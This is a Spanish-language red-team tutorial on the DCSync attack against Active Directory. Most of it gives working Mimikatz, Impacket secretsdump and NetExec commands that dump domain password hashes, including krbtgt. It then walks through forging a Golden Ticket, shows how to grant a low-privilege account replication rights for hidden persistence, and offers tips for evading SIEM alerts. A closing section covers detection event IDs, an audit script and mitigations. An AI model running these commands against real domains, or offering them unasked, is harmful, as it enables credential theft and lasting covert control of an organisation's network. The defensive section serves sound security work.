¿Qué es un Ataque DCSync?

DCSync es una técnica de extracción de credenciales que abusa del mecanismo de replicación de Active Directory. En lugar de ejecutar código en un Controlador de Dominio, un atacante con los privilegios correctos suplanta a un DC y solicita datos de contraseñas directamente desde otro DC usando el protocolo MS-DRSR (Directory Replication Service Remote Protocol).

El resultado: obtienes hashes NTLM, claves Kerberos y contraseñas en texto plano (en algunas configuraciones) de cualquier cuenta del dominio — incluidas krbtgt y los Administradores de Dominio — sin tocar nunca LSASS en un DC.

Es una de las técnicas de post-explotación más poderosas en entornos Active Directory. Si puedes ejecutar DCSync, el dominio es tuyo.


Por Qué DCSync es Peligroso

Las herramientas convencionales como sekurlsa::logonpasswords requieren ejecutar código en un DC y acceder a la memoria LSASS. DCSync no:

  • Sin ejecución de código en el DC — lo ejecutas desde tu propia máquina o una estación de trabajo comprometida
  • Sin manipulación de LSASS — ningún hook de EDR se activa en el DC
  • Vuelca cualquier cuenta — hash de krbtgt → Golden Ticket. Cualquier hash de admin → Pass-the-Hash
  • Acceso persistente — vuelca krbtgt, cambia la contraseña de tu cuenta de anclaje, aún tienes el hash

El único requisito es acceso de red a un DC y los privilegios correctos.


Privilegios Requeridos

DCSync requiere uno de los siguientes:

PrivilegioNotas
Domain AdminsTiene derechos de replicación por defecto
Enterprise AdminsIgual
Grupo Domain ControllersIgual
Replicating Directory Changes AllEl ACE específico necesario — puede concederse a cualquier cuenta
Replicating Directory Changes + Replicating Directory Changes In Filtered SetAmbos necesarios juntos para un volcado completo

El escenario peligroso es el tercero: cualquier cuenta con pocos privilegios puede recibir estos ACE de un Administrador de Dominio — de forma intencional o accidental. Los atacantes con acceso DA suelen conceder esto a una cuenta de servicio para persistencia antes de abandonar su punto de apoyo como DA.


DCSync con Mimikatz

Sintaxis Básica

Ejecutar desde cualquier máquina con acceso de red a un DC (no necesariamente el DC mismo):

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator

Esto vuelca el hash NTLM de la cuenta Administrator, el hash LM (si existe) y las claves Kerberos.

Volcar un Usuario Específico

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

El hash de krbtgt es el boleto dorado. Una vez que lo tienes, puedes falsificar TGTs de Kerberos para cualquier cuenta, en cualquier momento — incluso después de reinicios de contraseña (el hash antiguo funciona hasta que krbtgt sea reiniciado dos veces).

Volcar Todos los Hashes del Dominio

mimikatz # lsadump::dcsync /domain:corp.local /all /csv

/all vuelca todas las cuentas. /csv produce un formato limpio de valores separados por comas — más fácil de parsear e importar en Hashcat.

Especificar un Controlador de Dominio

mimikatz # lsadump::dcsync /domain:corp.local /dc:dc01.corp.local /user:Administrator

Útil cuando quieres apuntar a un DC específico o evitar enrutar a través del primario.


DCSync con Impacket (Sin GUI)

Si operas desde una máquina Linux, secretsdump.py de Impacket suele ser más limpio:

# Con hash NTLM (Pass-the-Hash)
python3 secretsdump.py -hashes :NTLMHASH corp.local/[email protected]

# Con contraseña
python3 secretsdump.py corp.local/Administrator:'Password123!'@dc01.corp.local

# Volcar solo DCSync (no SAM/LSA)
python3 secretsdump.py -just-dc corp.local/Administrator:'Password123!'@dc01.corp.local

# Volcar solo hashes NTLM (sin claves Kerberos)
python3 secretsdump.py -just-dc-ntlm corp.local/Administrator:'Password123!'@dc01.corp.local

secretsdump.py también realiza DCSync internamente — son las mismas llamadas al protocolo MS-DRSR.


DCSync con NetExec

Si ya tienes credenciales comprometidas y quieres confirmación rápida:

# Volcar hash de krbtgt
nxc smb dc01.corp.local -u Administrator -p 'Password123!' --ntds --user krbtgt

# Volcar todos los hashes
nxc smb dc01.corp.local -u Administrator -p 'Password123!' --ntds

NetExec envuelve el secretsdump de Impacket internamente. Útil cuando ya tienes NXC en tu flujo de trabajo y no quieres cambiar de herramienta.


Cadena de Ataque Completa: De DA a Golden Ticket

Así es como DCSync encaja en un engagement típico de AD:

Paso 1: Obtener Domain Admin

Opciones:

  • Kerberoasting de una cuenta privilegiada
  • Pass-the-Hash en una cuenta DA
  • ASREPRoasting + cracking
  • Explotar configuraciones incorrectas (GenericAll, WriteDACL en el grupo DA)

Una vez que eres DA (o tienes una cuenta con derechos de replicación):

Paso 2: Volcar el Hash de krbtgt

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

Anota el hash NTLM (la línea etiquetada Hash NTLM:).

Paso 3: Falsificar un Golden Ticket

mimikatz # kerberos::golden /user:fakeadmin /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:KRBTGTHASH /ptt

/ptt = pass-the-ticket, se inyecta directamente en la sesión actual.

Paso 4: Verificar

mimikatz # kerberos::list
dir \\dc01.corp.local\C$

Si dir devuelve el drive C del DC, ya estás dentro.


DCSync para Persistencia

Antes de finalizar un engagement, los red teamers experimentados:

  1. Conceden derechos DCSync a una cuenta con pocos privilegios — no aparece en Domain Admins, más difícil de encontrar
  2. Vuelcan krbtgt — un Golden Ticket es válido por 10 años por defecto
  3. Vuelcan hashes de cuentas de máquina — útiles para Silver Tickets

Para conceder derechos DCSync a una cuenta sin ser DA:

# Con PowerView
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" `
  -PrincipalIdentity svcBackup `
  -Rights DCSync

La cuenta svcBackup ahora puede ejecutar DCSync indefinidamente, incluso después de que tu sesión DA termine.


Notas Prácticas para Engagements

Requisitos de red: Tu máquina atacante necesita TCP 445 y TCP 135 + RPC dinámico al DC. Si estás en una VLAN segmentada, DCSync puede fallar incluso con credenciales válidas — verifica las reglas del firewall.

Opsec: DCSync genera el Event ID 4662 en el DC (Directory Service Access). Las pilas modernas de SIEM/MDR alertan sobre esto. Si buscas operar en silencio, usa el flag /guid de Mimikatz o ejecútalo durante el horario laboral cuando el ruido de replicación es mayor.

Mimikatz debe ejecutarse como admin local o SYSTEM en tu máquina atacante. La replicación ocurre por la red, pero Mimikatz necesita esos privilegios locales para llamar a las APIs necesarias.

Múltiples DCs: En entornos grandes con varios DCs, especifica /dc para apuntar a uno y evitar resultados inconsistentes por retraso en la replicación.


Detección y Defensa

Detección

Event IDDescripción
4662Acceso a objetos con permisos de replicación — la telemetría principal de DCSync
4673Servicio privilegiado llamado
5136Objeto del servicio de directorio modificado — se activa cuando se añaden ACE de DCSync

Alerta cuando el Event 4662 se dispara en un DC con estos derechos de acceso:

  • {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} — Replicating Directory Changes
  • {1131f6ab-9c07-11d1-f79f-00c04fc2dcd2} — Replicating Directory Changes All
  • {89e95b76-444d-4c62-991a-0facbeda640c} — Replicating Directory Changes In Filtered Set

La señal clave: estos eventos disparándose desde una cuenta de máquina que no es DC o desde una cuenta no estándar.

Microsoft Defender for Identity (MDI)

MDI detecta DCSync de forma nativa — está catalogado como una alerta de alta severidad. MDI compara la máquina solicitante con los DCs conocidos. Una estación de trabajo solicitando replicación de AD es una señal inmediata de alarma.

Mitigaciones

Auditar los derechos de replicación regularmente:

# Encontrar cuentas con derechos DCSync
(Get-Acl "AD:\DC=corp,DC=local").Access | Where-Object {
  $_.ActiveDirectoryRights -like "*ExtendedRight*" -and
  ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
   $_.ObjectType -eq "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2")
}

Aplicar el principio de mínimo privilegio — ninguna cuenta de servicio con derechos de replicación a menos que sea operacionalmente necesario.

Aislamiento de Tier 0 — los Controladores de Dominio no deben ser accesibles desde estaciones de trabajo en los puertos 445/135. La segmentación por VLAN rompe el ataque incluso si las credenciales están comprometidas.

Reiniciar krbtgt periódicamente — Microsoft recomienda hacerlo dos veces (para invalidar todos los tickets existentes). Los reinicios deben realizarse con cuidado en entornos multi-DC para evitar problemas de replicación.


Practícalo en un Laboratorio

La mejor manera de familiarizarse con DCSync es hacerlo de forma práctica. Monta un laboratorio de AD con un DC y una máquina miembro:

  • Vultr — las instancias de Windows Server más económicas, despliegue rápido, destruye cuando termines: vultr.com
  • DigitalOcean — droplets Windows sólidos si prefieres el ecosistema de DO: digitalocean.com

Un laboratorio básico necesita: 1 DC (Windows Server 2019/2022) + 1 estación de trabajo Windows 10/11. Puedes ejecutar ambos en una única instancia de Vultr de alta frecuencia con suficiente RAM si el presupuesto es ajustado.

Para entrenamiento estructurado en ataques a AD, BloodHound Academy y los Pro Labs de HTB (RastaLabs, Offshore) ofrecen entornos multi-dominio reales sin el overhead de configuración.


Conclusiones Clave

  • DCSync abusa de la replicación MS-DRSR — sin código en el DC, sin tocar LSASS
  • Requiere DA, EA o cuentas con derechos Replicating Directory Changes All
  • Hash de krbtgt = Golden Ticket = acceso persistente al dominio
  • Mimikatz e Impacket secretsdump.py implementan DCSync
  • Detección: Event ID 4662 desde cuentas que no son DC; MDI lo detecta de forma nativa
  • Defensa: auditar ACE de replicación, segmentar DCs, reiniciar krbtgt regularmente

¿Qué Sigue?


¿Necesitas un informe profesional de red team después de tu engagement? CipherWrite entrega documentación de calidad profesional escrita por especialistas en seguridad.